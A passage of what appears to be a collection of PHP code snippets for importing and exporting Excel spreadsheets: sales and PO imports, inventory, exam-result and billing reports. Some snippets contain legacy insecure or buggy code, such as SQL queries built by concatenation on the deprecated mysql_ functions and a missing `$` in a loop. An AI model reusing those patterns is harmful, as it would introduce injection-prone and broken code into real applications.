break;\n\n case \"OUT - NSI\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('J'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - SURYATARA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('E'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"PO\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $no_po = $worksheet->getCell('B4')->getValue();\n $this->SimpanPO($data->kode_barang,$qty,$periode,$no_po);\n \n }\n } \n break;\n\n case \"Others\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $type = $worksheet->getCell('B4')->getValue();\n $this->SimpanOthers($data->kode_barang,$qty,$periode,$type);\n \n }\n } \n break;\n\n default:\n echo \"Your favorite color is neither red, blue, nor green!\";\n }\n\n }", "public function workload_summary(){\n\t\tif($this->session->userdata('status') !== 'admin_logged_in'){\n\t\tredirect('pages/Login');\n\t\t}\n\t\t$this->M_auditTrail->auditTrailRead('Usecase Summary', $this->session->userdata['type']);\n\n\t\t$data = [\n\t\t\t'countUsecase' => $this->M_workloadGraph->getCountUsecase(),\n\t\t\t'countMember' => $this->M_workloadGraph->getCountMember(),\n\t\t\t'graphNodes' => $this->M_workloadGraph->get_nodes(),\n\t\t\t'graphLinks' => $this->M_workloadGraph->get_links(),\n\t\t\t'judul' => 'Workload Summary - INSIGHT',\n\t\t\t'konten' => 'adm_views/home/monitoringWorkload',\n\t\t\t'admModal' => [],\n\t\t\t'footerGraph' => ['workloadSummary/workloadGraph']\n\t\t];\n\n\t\t$this->load->view('adm_layout/master', $data);\n\t}", "public function sales_report_export_xls() {\n\n //Read page parameter to display report\n $tenant_id = $this->session->userdata('userDetails')->tenant_id;\n $sales_exec = $this->input->get('sales_exec');\n $start_date = $this->input->get('start');\n $end_date = $this->input->get('end');\n \n\n $tabledata = $this->reportsModel->get_sales_report_data_xls($tenant_id, $start_date, $end_date, $sales_exec);\n $this->load->helper('export_helper');\n \n export_sales_report_xls($tabledata);\n }", "public function DumpRenderResultsToExcel($DataArray,$PaperSize,$DateValue,$ReportsTitle){\n set_time_limit(0);\n include_once 'db_conn.php';\n include_once 'cls_codes.php';\n include_once 'cls_user.php';\n include_once 'date_time.php';\n include_once 'classes/PHPExcel.php';\n include_once 'classes/PHPExcel/IOFactory.php';\n\n //select paper size format\n if($PaperSize=='legal'){$template_file=\"accnts/awws_legal.xls\";}elseif($PaperSize=='A3'){$template_file=\"accnts/awws_a3.xls\";}\n \n //output excel files as filename will be based on reports title presented\n $file_output=\"accnts/\".$ReportsTitle.\".xls\";\n \n //declare filetype\n $FileType='Excel5';\n //initiate phpexcel algorithms and create necessary worksheets required to create reading sheets\n $objReader=PHPExcel_IOFactory::createReader($FileType);\n $objFileLoader=$objReader->load($template_file);\n //$objWrkSheet=$objFileLoader->getActiveSheet(); \n $ActiveSheet=$objFileLoader->setActiveSheetIndex(0); //workbook has only one worksheet,activate explicit\n $ActiveSheet->setCellValue(\"A1\",$ReportsTitle);\n $start_row=4;\n if(count($DataArray)==0){die();}\n foreach($DataArray as $key => $value){\n $ActiveSheet->setCellValue(\"A\".$start_row,$value['OR_date']);\n $ActiveSheet->setCellValue(\"B\".$start_row,$value['OR_num']);\n $PayeeName=cls_user_get::ProfileValue('acct_no',$value['Payee'],'applicant');\n $ActiveSheet->setCellValue(\"C\".$start_row,$PayeeName);\n $strBarangay=cls_misc::toString($value['address_brgy'],'Barangay');\n $ActiveSheet->setCellValue(\"D\".$start_row,$strBarangay);\n $ActiveSheet->setCellValue(\"E\".$start_row,$value['app_fee_partial']);\n $ActiveSheet->setCellValue(\"F\".$start_row,$value['app_fee_full']);\n $ActiveSheet->setCellValue(\"G\".$start_row,cls_misc::RemoveZerosForExcel($value['meter_fee']));\n $ActiveSheet->setCellValue(\"H\".$start_row,cls_misc::RemoveZerosForExcel($value['MLP']));\n $ActiveSheet->setCellValue(\"I\".$start_row,cls_misc::RemoveZerosForExcel($value['water_bill']));\n $ActiveSheet->setCellValue(\"J\".$start_row,cls_misc::RemoveZerosForExcel($value['penalty_fee']));\n $ActiveSheet->setCellValue(\"K\".$start_row,cls_misc::RemoveZerosForExcel($value['misc_fee']));\n $ActiveSheet->setCellValue(\"L\".$start_row,$value['total']);\n $SubTotal=$SubTotal + $value['total'];\n $start_row++;\n }\n //$start_row=$start_row +1;\n //$ActiveSheet->setCellValue(\"A\".$start_row,\"Total Collection for this Report=\".cls_misc::gFormatNumber($SubTotal));\n $ActiveSheet->getColumnDimension('A')->setAutoSize(true);\n $ActiveSheet->getColumnDimension('D')->setAutoSize(true);\n //check if file exist\n if(file_exists($file_output)){unlink($file_output);}\n //proceed to output creation\n $objWriter=PHPExcel_IOFactory::createWriter($objFileLoader,$FileType);\n $objWriter->save($file_output);\n unset($objReader);\n //create the download link for export\n cls_CollectorsReport::CreateDownloadLink($file_output);\n }", "function download(){\n\t/** Include PHPExcel */\n\trequire_once dirname(__FILE__) . '/Excel/PHPExcel.php';\n\t\n\t$objPHPExcel = new PHPExcel();\n\t\n\t// Set document properties\n\t$objPHPExcel->getProperties()->setCreator($_SESSION[\"userInfo\"][\"userName\"])\n\t\t\t\t\t\t\t\t->setLastModifiedBy($_SESSION[\"userInfo\"][\"userName\"])\n\t\t\t\t\t\t\t\t->setTitle(\"Smart Shop Inventory\")\n\t\t\t\t\t\t\t\t->setSubject(\"Smart Shop Inventory\")\n\t\t\t\t\t\t\t\t->setDescription(\"Inventory outputted from the Smart Shop database.\")\n\t\t\t\t\t\t\t\t->setKeywords(\"office PHPExcel php\")\n\t\t\t\t\t\t\t\t->setCategory(\"Inventory Data File\");\n\t\n\t//size the columns appropriately\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(5);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(18);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(10);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(20);\n\t\n\t//color the title row\n\t$objPHPExcel->getActiveSheet()\n\t\t->getStyle('A1:E1')\n\t\t->getFill()\n\t\t->setFillType(PHPExcel_Style_Fill::FILL_SOLID)\n\t\t->getStartColor()\n\t\t->setARGB('FF808080');\n\t\n\t//output the titles for the columns\n\t$objPHPExcel->setActiveSheetIndex(0)\n\t\t\t\t->setCellValue('A1', 'ID')\n\t\t\t\t->setCellValue('B1', 'Name')\n\t\t\t\t->setCellValue('C1', 'Quantity')\n\t\t\t\t->setCellValue('D1', 'Value')\n\t\t\t\t->setCellValue('E1', 'Last Updated');\n\t\n\t$items = getItems();\n\t$i = 2;\n\tforeach($items as $item){\n\t\t//populate the row with values\n\t\t$objPHPExcel->setActiveSheetIndex(0)\n\t\t\t\t->setCellValue('A'.$i, $item[\"Id\"])\n\t\t\t\t->setCellValue('B'.$i, $item[\"Name\"])\n\t\t\t\t->setCellValue('C'.$i, $item[\"Quantity\"])\n\t\t\t\t->setCellValue('D'.$i, $item[\"Value\"])\n\t\t\t\t->setCellValue('E'.$i, $item[\"Updated\"]);\n\t\t\n\t\t//Set the value cell format to currency\n\t\t$objPHPExcel->getActiveSheet()\n\t\t->getStyle('D'.$i)\n\t\t->getNumberFormat()\n\t\t->setFormatCode(\n\t\t\tPHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE\n\t\t);\n\t\n\t\t$i++;\n\t}\n\t\n\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t$objPHPExcel->setActiveSheetIndex(0);\n\t\n\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t$output = \"downloads/\" . date(\"Y-m-d_H-i\") . \"_Inventory.xlsx\";\n\t$objWriter->save($output);\n\t\n\treturn [\"success\" => true, \"message\" => $output];\n}", "abstract protected function excel ();", "public function importxls()\n\t{\n\t\tif( $this->import_start() )\n\t\t{\n\t\t\t$xls\t\t= $this->file['tmp_name'];\n\t\t\t$objPHPExcel\t= PHPExcel_IOFactory::load($xls);\n\t\t\t$sht\t\t= $objPHPExcel->getActiveSheet();\n\n\t\t\t$highestColumm\t= $sht->getHighestDataColumn();\n\t\t\t$highestRow\t= $sht->getHighestDataRow();\n\t\t\t$range\t\t= \"A1:\".$highestColumm.$highestRow;\n\n\t\t\t$rows\t\t= $sht->rangeToArray($range);\n\t\t\t$model\t\t= $this->getModel('HelloImport');\t\t//for db read/write\n\t\t\t$this->ok\t= $model->importItems($rows);\n\t\t}\n\t\t$this->import_finish();\n\t\treturn;\n\t}", "private function initExcel()\n {\n $this->savePointer = function () {\n $arrayData = [];\n $arrayData[] = $this->headerRow;\n for ($i = 0; i < count($this->body); $i ++) {\n $arrayData[] = $this->body[$i];\n }\n $this->dataCollection->getActiveSheet()->fromArray($arrayData, NULL,\n 'A1');\n $writer = new Xlsx($this->dataCollection);\n $writer->save($this->reportPath);\n $this->dataCollection->disconnectWorksheets();\n unset($this->dataCollection);\n header('Content-type: application/vnd.ms-excel');\n header(\n 'Content-Disposition: attachment; filename=' . $this->reportTitle .\n '.xls');\n };\n }", "function import_xls($filename = ''){\n\t\trequire_once('includes/xls_report/PHPExcel.php');\n\t\t$xls_file = 'uploads/DataBkd/DocUpload/'.$filename;\n\n\t\t$objReader = new PHPExcel_Reader_Excel5();\n\t\t$objReader->setReadDataOnly(true);\n\t\t$objPHPExcel = $objReader->load($xls_file); #return $filename;\n\t\t$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,false);\n\t\t$totalrow = count($sheetData); #return $sheetData;\n\t\t\n\t\t$kd_prodi = $sheetData[0][1];\n\t\t# get active record\n\t\t$start_record = 9;\n\t\t$start_col = 2;\n\t\twhile ($start_record < $totalrow){\n\t\t\t$a = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nira\n\t\t\t$b = str_replace(\"'\",\"\\'\",$sheetData[$start_record][$start_col]); $start_col++; #nm_asesor\n\t\t\t$c = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nm_pt\n\t\t\t$d = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; \n\t\t\t$e = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t$f = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t# simpan ke database \n\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/insert_asesor';\n\t\t\t$parameter = array('api_search' => array($a, $b, $c, $d, $e, $f, $kd_prodi));\n\t\t\t$this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\n\t\t\t$start_record++;\n\t\t\t$start_col = 2;\n\t\t}\n\t\t$api_url \t= URL_API_BKD.'bkd_dosen/get_nama_prodi';\n\t\t$parameter = array('api_search' => array($kd_prodi));\n\t\t$nm = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t$data['status'] = '<div class=\"alert alert-success\"><i class=\"icon icon-ok-sign\"></i> Import Data Asesor untuk program studi '.$nm.' selesai...\n\t\t\t\t\t\t\t<br/>Lihat Daftar Asesor Prodi'.$nm.' <a href=\"'.base_url().'bkd/admbkd/asesor/prodi/'.$kd_prodi.'\">Klik disini</a></div>';\n\t\t$this->output99=$this->s00_lib_output;\n\t\t$this->output99->output_display('admbkd/form_import',$data);\n\t}", "function summary_query() {\n\n // @TODO The summary values are computed by the database. Unless the database has\n // built-in timezone handling it will use a fixed offset, which will not be\n // right for all dates. The only way I can see to make this work right is to\n // store the offset for each date in the database so it can be added to the base\n // date value before the database formats the result. Because this is a huge\n // architectural change, it won't go in until we start a new branch.\n $this->formula = $this->date_handler->sql_format($this->sql_format, $this->date_handler->sql_field(\"***table***.$this->real_field\"));\n $this->ensure_my_table();\n // Now that our table is secure, get our formula.\n $formula = $this->get_formula();\n\n // Add the field, give it an alias that does NOT match the actual field name or grouping won't work right.\n $this->base_alias = $this->name_alias = $this->query->add_field(NULL, $formula, $this->field . '_summary');\n $this->query->set_count_field(NULL, $formula, $this->field);\n\n return $this->summary_basics(FALSE);\n }", "function uploadShopProduct(){\t\n\n $inputFileName = $_FILES['xlsFile']['tmp_name'];\n\n // Read your Excel workbook\n\n try {\n\n $inputFileType = PHPExcel_IOFactory::identify($inputFileName);\n\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n\n $objPHPExcel = $objReader->load($inputFileName);\n\n } catch (Exception $e) {\n\n die('Error loading file \"' . pathinfo($inputFileName, PATHINFO_BASENAME)\n\n . '\": ' . $e->getMessage());\n\n }\n\n\n\n $sheet = $objPHPExcel->getSheet(0);\n\n $highestRow = $sheet->getHighestRow();\n\n $highestColumn = $sheet->getHighestColumn();\n\n\t\t\t\t\t\t\n\n\t\t\t\t\t\t\n\n\n\n $headingFlg = 0;\n\n $headChkColumn = 0;\n\n $headingData = array();\n\n $dataCounter = 0;\n\n for ( $row = 2; $row <= $highestRow; $row++ )\n\n {\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$fileData = $sheet->rangeToArray( 'A' . $row . ':' . $highestColumn . $row, NULL, TRUE, FALSE );\n\t\t\t\t\t\t\t\n\n/*\n\n$pname = $fileData[0][1];\n\n\t\t\tFor MyStore work Start\n\n\n\n*/\n\n\n$pname = $fileData[0][1];\n$sqlproddup = \"select * from ketechprod where pname = '\".addslashes($pname).\"'\";\n$resultadP = mysql_query( $sqlproddup );\n/*echo $sqlproddup;\necho \"<hr/>\";*/\n\n\n$total = mysql_num_rows( $resultadP );\n\nif( $total > 0 ) {\n\n$rowadP = mysql_fetch_array( $resultadP );\n\n/*echo \"<hr/>\";\necho \"<pre>\";\nprint_r( $rowadP );*/\n\n$p_id = $rowadP['id'];\n\n$vpArray['pid'] = \t $rowadP['id'];\n\n$vpArray['b_cat'] = \t $rowadP['pcategory'];\n\n$vpArray['p_cat'] = \t $rowadP['p_parent_cat'];\n\n$vpArray['sub_cat_text'] = \t$rowadP['sub_cat_text'];\n\n\n$ART_NO = $fileData[0][0];\n\n$SUPPL_NO = $fileData[0][2];\n\n$SUPPL_NAME = $fileData[0][3];\n\n$SUPPL_ART_NO = $fileData[0][4];\n\n$BUYER_UID = $fileData[0][5];\n\n$CONT_BUY_UNIT = $fileData[0][6];\n\n$ART_GRP_NO = $fileData[0][7];\n\n$ART_GRP_DESCR = $fileData[0][8];\n\n$ART_GRP_SUB_NO = $fileData[0][9];\n\n$ART_GRP_SUB_DESCR = $fileData[0][10];\n\n$DEPT_NO\t = $fileData[0][11];\n\n$DEPT_DESCR = $fileData[0][12];\n\n$SELL_PR\t = $fileData[0][13];\n\n$SELL_VAT = $fileData[0][14];\n\n$SPAT\t = $fileData[0][15];\n\n$MRP_PRICE = $fileData[0][16];\n\n$VAT_MY = $fileData[0][17];\n\n$BUY_VAT_NO = $fileData[0][18];\n\n$BUY_VAT_PERC = $fileData[0][19];\n\n$Offer_No = $fileData[0][20];\n\n$DMS = $fileData[0][21];\n\n$stock = $fileData[0][22];\n\n$ON_ORDER = $fileData[0][23];\n\n$LAST_DELDAY = $fileData[0][24];\n\n$LAST_SALEDAY = $fileData[0][25];\n\n$MFG_Date = $fileData[0][26];\n\n$Exp_Date = $fileData[0][27];\n\n$ART_STATUS = $fileData[0][28];\n\n$STORE = $fileData[0][29];\n\n\n\n\n\n$vpArray['vid'] = \t$_SESSION['vid'];\n\n$vpArray['baseprice'] = \t$MRP_PRICE;\n\n$vpArray['sellprice'] = \t$MRP_PRICE;\n\n$vpArray['modify_baseprice'] = \t0;\n\n$vpArray['modify_sellprice'] = \t0;\n\n$vpArray['admin_approval'] = \t1;\n\n$vpArray['f_product'] = \t0;\n\n$vpArray['mpq_fp'] = \t1;\n\n$vpArray['stock'] = \t$stock;\n\n$vpArray['status'] = \t0;\n\n$vpArray['max_buy_limit'] = \t100;\n\n$vpArray['ART_NO'] = \t$ART_NO;\n\n$vpArray['SUPPL_NO'] = \t$SUPPL_NO;\n\n$vpArray['SUPPL_NAME'] = \t$SUPPL_NAME;\n\n$vpArray['SUPPL_ART_NO'] = \t$SUPPL_ART_NO;\n\n$vpArray['BUYER_UID'] = \t$BUYER_UID;\n\n$vpArray['CONT_BUY_UNIT'] = \t$CONT_BUY_UNIT;\n\n$vpArray['ART_GRP_NO'] = \t$ART_GRP_NO;\n\n$vpArray['ART_GRP_DESCR'] = \t$ART_GRP_DESCR;\n\n$vpArray['ART_GRP_SUB_NO'] = \t$ART_GRP_SUB_NO;\n\n$vpArray['ART_GRP_SUB_DESCR'] = \t$ART_GRP_SUB_DESCR;\n\n$vpArray['DEPT_NO'] = \t$DEPT_NO;\n\n$vpArray['DEPT_DESCR'] = \t$DEPT_DESCR;\n\n$vpArray['SELL_PR'] = \t$SELL_PR;\n\n$vpArray['SELL_VAT'] = \t$SELL_VAT;\n\n$vpArray['SPAT'] = \t$SPAT;\n\n$vpArray['MRP_PRICE'] = \t$MRP_PRICE;\n\n$vpArray['VAT_MY'] = \t$VAT_MY;\n\n$vpArray['BUY_VAT_NO'] = \t$BUY_VAT_NO;\n\n$vpArray['BUY_VAT_PERC'] = \t$BUY_VAT_PERC;\n\n$vpArray['Offer_No'] = \t$Offer_No;\n\n$vpArray['DMS'] = \t$DMS;\n\n$vpArray['ON_ORDER'] = \t$ON_ORDER;\n\n$vpArray['LAST_DELDAY'] = \t$LAST_DELDAY;\n\n$vpArray['LAST_SALEDAY'] = \t$LAST_SALEDAY;\n\n$vpArray['MFG_Date'] = \t$MFG_Date;\n\n$vpArray['Exp_Date'] = \t$Exp_Date;\n\n$vpArray['ART_STATUS'] = \t$ART_STATUS;\n\n$vpArray['STORE'] = \t$STORE;\n\n$vpK = array();\n\n$vpV = array();\n\nforeach( $vpArray as $vpArrayK => $vpArrayV )\n\n{\n\n\t$vpK[] = $vpArrayK;\n\n\t$vpV[] = \"'\".addslashes($vpArrayV).\"'\";\n\t\n\t$vpupdate[] = $vpArrayK.\" = '\".addslashes($vpArrayV).\"'\";\n\n\n\n}\n\n\n\n$queryk =implode(\",\",$vpK);\n\n$queryv = implode(\",\",$vpV);\n\n$queryupdate = implode(\",\",$vpupdate);\n\n\n\t\t\t\t\t\t\t$sqlcatdup = \"select * from ketechvp_\".$_SESSION['vid'].\" where pid = '\".$p_id.\"'\";\n\n\t\t\t\t\t\t\t$result = mysql_query( $sqlcatdup );\n\n\t\t\t\t\t\t\t$total = mysql_num_rows( $result );\n\n\t\t\t\t\t\t\tif( $total > 0 )\n\n\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\t$sqlVprodU = \"update ketechvp_\".$_SESSION['vid'].\" SET \".$queryupdate.\" where pid = \".$p_id.\"\";\n\t\t\t\t\t\t\t\t/*echo $sqlVprodU;\n\t\t\t\t\t\t\t\techo \"<hr/>\";*/\n\t\t\t\t\t\t\t\tmysql_query( $sqlVprodU );\n\n\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t}else\n\n\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\n\n\n\n\n\n/*echo $queryk;\n\necho \"<hr/>\";\n\necho $queryv;\n\necho \"<pre>\";*/\n\n/*echo count( $vpArray );\n\nprint_r( $vpV );*/\n\n\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t//insert parent cat\n\n\t\t\t\t\t\t\t\t/*$sqlVprod = \"insert into ketechvp_clone( pid,b_cat,p_cat,sub_cat_text,baseprice,sellprice,modify_baseprice,modify_sellprice,admin_approval,stock,status,ART_NO,SUPPL_NO,SUPPL_NAME,SUPPL_ART_NO,BUYER_UID,CONT_BUY_UNIT,ART_GRP_NO,ART_GRP_DESCR,ART_GRP_SUB_NO,ART_GRP_SUB_DESCR,DEPT_NO,DEPT_DESCR,SELL_PR,SELL_VAT,SPAT,MRP_PRICE,VAT_MY,BUY_VAT_NO,BUY_VAT_PERC,Offer_No,DMS,ON_ORDER,LAST_DELDAY,LAST_SALEDAY,MFG_Date,Exp_Date,ART_STATUS,STORE)values(\".$p_id.\",'\".$Ccat_id.\"','\".$pcat_id.\"','*\".$Ccat_id.\"*',\".$MRP_PRICE.\",\".$MRP_PRICE.\",'0','0',1,'\".$stock.\"',1,'\".$ART_NO.\"','\".$SUPPL_NO.\"','\".$SUPPL_NAME.\"','\".$BUYER_UID.\"','\".$CONT_BUY_UNIT.\"','\".$ART_GRP_NO.\"','\".$ART_GRP_DESCR.\"','\".$ART_GRP_SUB_NO.\"','\".$ART_GRP_SUB_DESCR.\"','\".$DEPT_NO.\"','\".$DEPT_DESCR.\"','\".$SELL_PR.\"','\".$SELL_VAT.\"','\".$SPAT.\"','\".$MRP_PRICE.\"','\".$VAT_MY.\"','\".$BUY_VAT_NO.\"','\".$BUY_VAT_PERC.\"','\".$Offer_No.\"','\".$DMS.\"','\".$ON_ORDER.\"','\".$LAST_DELDAY.\"','\".$LAST_SALEDAY.\"','\".$MFG_Date.\"','\".$Exp_Date.\"','\".$ART_STATUS.\"','\".$STORE.\"')\";*/\n\n\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t$sqlVprod = \"insert into ketechvp_\".$_SESSION['vid'].\"(\".$queryk.\")values(\".$queryv.\")\";\n\n\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t/*echo $sqlVprod;\n\n\t\t\t\t\t\t\t\techo \"<hr/>\".$dataCounter;\t*/\n\n\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t$resultest\t= mysql_query( $sqlVprod );\n\n\t\t\t\t\t\t\t\tif( !$resultest ){\n\n\t\t\t\t\t\t\t\t\t\t\t/*echo $sqlVprod;\n\n\t\t\t\t\t\t\t\t\t\t\techo \"<hr/>\";\t*/\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t//$p_id = mysql_insert_id();\n\n\t\t\t\t\t\t\t //$pcat_id = mysql_insert_id();\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t/*echo \"<pre>\";\n\n\t\t\t\t\t\t\tprint_r( $fileData );*/\n\n\t\t\t\t\t\t\t//die();\n\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t/*echo \"Location: index.php?v=\".$_POST['c'].\"&f=\".$_POST['f'].\"&vid=\".$_SESSION['vid'].\"\";\n\n\t\t\t\t\t\t\techo \"<hr/>\";*/\n\n\t\t\t\t\t\t \n\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\tif( $dataCounter > 60 )\n\n\t\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\t //die();\n\n\t\t\t\t\t\t\t\t } \n\n\t\t\t\t\t\t\t\n\n }else{\n\t\t\t\t\t\t\t\t/*echo $pname;\n\t\t\t\t\t\t\t\techo \"<br/>\";*/\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t}\n}\t\t\t\t\t\t\n\n\t\t\t\t\t\t\n\n\t\t\t\t\t\theader( \"Location: index.php?v=\".$_POST['c'].\"&f=\".$_POST['f'].\"&vid=\".$_SESSION['vid'].\"\" );\n}", "public\n function getReportAsExcel($id)\n {\n // kill the debugbar briefly\n \\Debugbar::disable();\n\n // get some exam stats\n $exam = Exam_instance::findOrFail($id);\n $results = SortableExam_results::where('exam_instances_id', '=', $id)->sortable()->get();\n $maxscore = 0;\n foreach ($exam->exam_instance_items()->scorable()->get() as $item) {\n $maxscore += $item->items->max('value');\n }\n $stats = [];\n // dd($results->pluck('total')->toArray());\n $overall_hist = $this->hist_array(1, $results->pluck('total')->toArray());\n $stats['overall'] = ['n' => $results->count(), 'mean' => $results->avg('total'), 'median' => $this->median($results->pluck('total')->toArray()), 'stdev' => $this->sd($results->pluck('total')->toArray()), 'min' => $results->min('total'), 'max' => $results->max('total'), 'hist_array' => $overall_hist];\n\n\n // an array containing the alphabet\n $alphabetArr = array();\n $j = 0;\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = $i;\n }\n // this extends the possible spreadsheet cells a bit.\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = \"A\" . $i;\n }\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = \"B\" . $i;\n }\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = \"C\" . $i;\n }\n\n // the spreadsheet object\n $phpspreadsheetObj = new Spreadsheet();\n\n // make a new Excel sheet\n $summaryWorksheet = new Worksheet($phpspreadsheetObj, 'Assessment summary');\n // $phpexcelObj->createSheet();\n $phpspreadsheetObj->addSheet($summaryWorksheet, 0);\n\n // put some headings in\n $summaryWorksheet->setCellValue('A1', \"Assessment summary: {$exam->name} {$exam->start_datetime}\");\n $summaryWorksheet->getStyle('A1')->getFont()->setSize(16);\n $summaryWorksheet->setCellValue('A2', \"Student Number\");\n $summaryWorksheet->getStyle('A2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('B2', \"Student Name\");\n $summaryWorksheet->getStyle('B2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('C2', \"Assessment Date/Time\");\n $summaryWorksheet->getStyle('C2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('D2', \"Site\");\n $summaryWorksheet->getStyle('D2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('E2', \"Score\");\n $summaryWorksheet->getStyle('E2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('F2', \"Out of a Possible\");\n $summaryWorksheet->getStyle('F2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('G2', \"Comments\");\n $summaryWorksheet->getStyle('G2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('H2', \"Assessor\");\n $summaryWorksheet->getStyle('H2')->getFont()->setBold(true);\n\n// format a bit\n $summaryWorksheet->getColumnDimension('A')->setWidth(26);\n $summaryWorksheet->getColumnDimension('B')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('C')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('D')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('E')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('F')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('G')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('H')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('I')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('J')->setAutoSize(true);\n\n // write the summary to the spreadsheet\n $i = 0;\n foreach ($results as $result) {\n $summaryWorksheet->setCellValue('A' . ($i + 3), $result->student->studentid);\n $summaryWorksheet->setCellValue('B' . ($i + 3), $result->studentname);\n $summaryWorksheet->setCellValue('C' . ($i + 3), date_format($result->created_at, 'd/m/Y H:i:s A'));\n $summaryWorksheet->setCellValue('D' . ($i + 3), $result->groupcode);\n $summaryWorksheet->setCellValue('E' . ($i + 3), $result->total);\n $summaryWorksheet->setCellValue('F' . ($i + 3), $maxscore);\n $summaryWorksheet->setCellValue('G' . ($i + 3), $result->comments);\n $summaryWorksheet->setCellValue('H' . ($i + 3), $result->created_by);\n $i++;\n }\n\n ///////////////////////////////////////////////\n /// make a detailed worksheet- sort of a data dump\n /// /////////////////////////////////////////////\n\n $detailWorksheet = new Worksheet($phpspreadsheetObj, 'Assessment detail');\n $phpspreadsheetObj->addSheet($detailWorksheet, 1);\n\n // put some headings in\n $detailWorksheet->setCellValue('A1', \"Assessment detail: {$exam->name} {$exam->start_datetime}\");\n $detailWorksheet->getStyle('A1')->getFont()->setSize(16);\n $detailWorksheet->getColumnDimension('A1')->setAutoSize(true);\n $detailWorksheet->setCellValue('A2', \"Student Number\");\n $detailWorksheet->getStyle('A2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('A2')->setAutoSize(true);\n $detailWorksheet->setCellValue('B2', \"Student Name\");\n $detailWorksheet->getStyle('B2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('B2')->setAutoSize(true);\n $detailWorksheet->setCellValue('C2', \"Group\");\n $detailWorksheet->getStyle('C2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('C2')->setAutoSize(true);\n $detailWorksheet->setCellValue('D2', \"Assessment Date/Time\");\n $detailWorksheet->getStyle('D2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('D2')->setAutoSize(true);\n 